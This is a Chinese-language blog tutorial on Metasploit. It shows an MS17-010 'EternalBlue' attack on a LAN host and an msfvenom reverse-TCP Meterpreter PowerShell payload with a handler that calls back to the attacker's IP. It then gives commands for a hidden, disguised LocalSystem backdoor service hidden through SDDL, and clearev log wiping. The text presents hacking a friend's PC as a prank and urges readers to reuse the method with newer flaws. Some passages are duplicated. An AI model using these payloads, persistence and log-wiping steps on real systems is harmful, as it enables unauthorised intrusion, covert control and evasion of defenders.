Metasploit Framework(MSF) 学习笔记
1. Metasploit Framewoyk介绍
Metasploit Framewoyk(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名
2. 安装Metasploit Framework(MSF)
MSF在kali中自带,当然如果你是Windows也可以在它的官网自行下载
安装需要退出所有的杀毒软件或者说把你的安装目录加入到白名单。否则会报木马、溢出程序、脚本病毒、风险程序、黑客工具等的问题,还会隔离甚至删除这些文件。这样就会造成你的软件功能不完整,安装之前一定要关闭杀毒,加入白名单
2.2 把MSP添加到系统环境变量
安装完成之后,默认安装在C盘中,进入Bin目录即可访问MSF,但是我们需要在CMD随时随地的在CMD调用MSF,这时候就需要把MSF添加到系统环境变量了(kali系统默认不用 在终端启动即可)
执行命令添加环境变量
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH /t REG_EXPAND_SZ /d "%PATH%;C:\metasploit-framework\bin" /f
打开CMD执行msfconsole即可进入MSF的界面
3. 利用“永恒之蓝”MS17-010漏洞攻击
永恒之蓝(对应微软漏洞编号 MS17 - 010)是针对 Windows 的高危远程代码执行漏洞,最初由美国国家安全局开发为攻击工具,2017 年 4 月被黑客组织 “影子经纪人” 公开后,引发了全球多起重大网络安全事件
漏洞补充介绍📌
- 漏洞原理
- 该漏洞利用 Windows 系统 SMBv1 协议存在的逻辑缺陷,攻击者无需目标主机账号密码,仅通过 445 端口即可远程执行任意代码,获取系统最高权限。
- 受影响系统
- Windows XP、Windows 7、Windows Server 2003/2008 等老旧未打补丁系统,微软早在 2017 年 3 月就发布对应安全补丁修复该漏洞。
- 知名攻击事件
- 公开后爆发WannaCry(想哭勒索病毒)、NotPetya 等全球大规模勒索攻击,大量企业、医院、政府机构系统瘫痪,数据被加密勒索比特币。
3.2 在MSF控制台搜索和使用MS17-010漏洞
search ms17010
use 2
3.3 命令查看MSF相关的配置信息
使用【options】命令查看相关的配置信息
(例如192.168.41.184)
配置好攻击参数之后使用【run】启动攻击
(这是一个很装逼的的命令 可以输入“你的电脑被黑客入侵了”)
msg * "123"
| 攻击目标机器画面 |
所以就到达了一个远程操控你的权限了,假如你朋友在打游戏你反手使用MSF攻击获取权限,然后把他的电脑直接关机,你朋友会气急败坏
但是呢这个是2017 年的漏洞,如今早已修复,需要使用新的漏洞,举一反三完成攻击
4. 使用MSF一键生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=端口 -f psh-reflection >1.ps1
msfvenom:Metasploit 内置载荷生成工具,用于生成各类远控木马 / 后门
-p windows/x64/meterpreter/reverse_tcp
指定载荷:64 位 Windows 系统、Meterpreter 交互式后门、反向 TCP 回连
-p windows/x64/meterpreter/reverse_tcp
指定载荷:64 位 Windows 系统、Meterpreter 交互式后门、反向 TCP 回连
LHOST=192.168.41.201:监听端 IP(攻击者本机 IP)LPORT=8867:监听端口(攻击机开放 8867 等待目标回连)-f psh-reflection:输出格式为反射型 PowerShell 脚本,内存加载、无落地文件>x.ps1:将生成的脚本保存为 x.ps1 文件
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lport 端口 run
逐行参数解析📌
msfconsole
启动 Metasploit 渗透框架主控制台,进入 msf 交互环境。
use exploit/multi/handler
加载通用监听模块handler,专门用于接收反向载荷(reverse_tcp)的回连连接。
set payload windows/x64/meterpreter/reverse_tcp
设置监听载荷,必须和之前 msfvenom 生成木马时的载荷完全一致:适配 64 位 Windows、Meterpreter 交互式远控、TCP 反向连接。
set lport 端口
指定本机监听端口,需要和生成木马时LPORT=端口的数字完全匹配(上一张示例端口为 8867,此处应写set lport 8867);
run
启动监听,等待目标主机执行 ps1 脚本后主动回连。
输入【options】命令查看相关的配置信息
4.3 对方已运行木马程序【ps1】
我们控制台就会显示
[*] Sending stage (230982 bytes) to 192.168.41.132 (对方IP地址)
提示【meterpreter >】就可以控制了
然后我们可以执行一些指令,详细指令可以看看这篇文章【Metasploit Framework 全套控制命令完整版文档】那我们就演示“获取目标桌面截图”和“实时监控目标桌面”
输入【screenshot】获取目标桌面截图
screenshot
1、创建服务
sc create shell start= auto binPath= "cmd.exe /k powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Windows\shell.ps1" obj= LocalSystem
2、对该服务进行伪装
sc description "shell" "绝对安全的shell哈哈哈"
3、设置服务的自动启动
sc config "shell" start= auto
4、隐藏服务
sc sdset shell "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;;CCLCSWLOCRRC;;;IU)(A;;;CCLCSWLOCRRC;;;SU)(A;;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;;CCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
5、然后启动该服务
net start "服务名"
命令逐段解析📌
1. sc create 创建持久化后门服务
sc create shell:创建名为 shell 的 Windows 系统服务
start= auto:设置开机自动启动(等号后必须带空格,sc 命令语法强制要求)
binPath="xxx":服务运行程序路径
cmd.exe /k:持续运行 cmd 不关闭
powershell.exe -w hidden:隐藏 PowerShell 窗口,无界面运行
-ExecutionPolicy Bypass:绕过系统 PowerShell 脚本执行限制
-NoExit:脚本执行完毕不退出进程,维持后门会话
-File 路径:加载存放的 shell.ps1 反弹脚本
obj= LocalSystem:服务以最高系统权限 LocalSystem运行,可完全控制系统
sc create shell:创建名为shell的 Windows 系统服务start= auto:设置开机自动启动(等号后必须带空格,sc 命令语法强制要求)binPath="xxx":服务运行程序路径cmd.exe /k:持续运行 cmd 不关闭powershell.exe -w hidden:隐藏 PowerShell 窗口,无界面运行-ExecutionPolicy Bypass:绕过系统 PowerShell 脚本执行限制-NoExit:脚本执行完毕不退出进程,维持后门会话-File 路径:加载存放的 shell.ps1 反弹脚本
obj= LocalSystem:服务以最高系统权限 LocalSystem运行,可完全控制系统
2. sc description 伪装服务描述
给服务添加迷惑性文字,降低管理员排查警惕性。
给服务添加迷惑性文字,降低管理员排查警惕性。
3. sc config 修改服务启动类型
二次确认设置服务开机自启,和创建时start=auto作用重复,属于加固配置。
二次确认设置服务开机自启,和创建时
start=auto作用重复,属于加固配置。4. net start "服务名" 启动服务
示例中服务名是
shell,实际完整命令应为:net start shell
4.5 清除日志、抹除痕迹、全身而退
在meterpreter控制下输入【clearev】清除日志
没有评论:
发表评论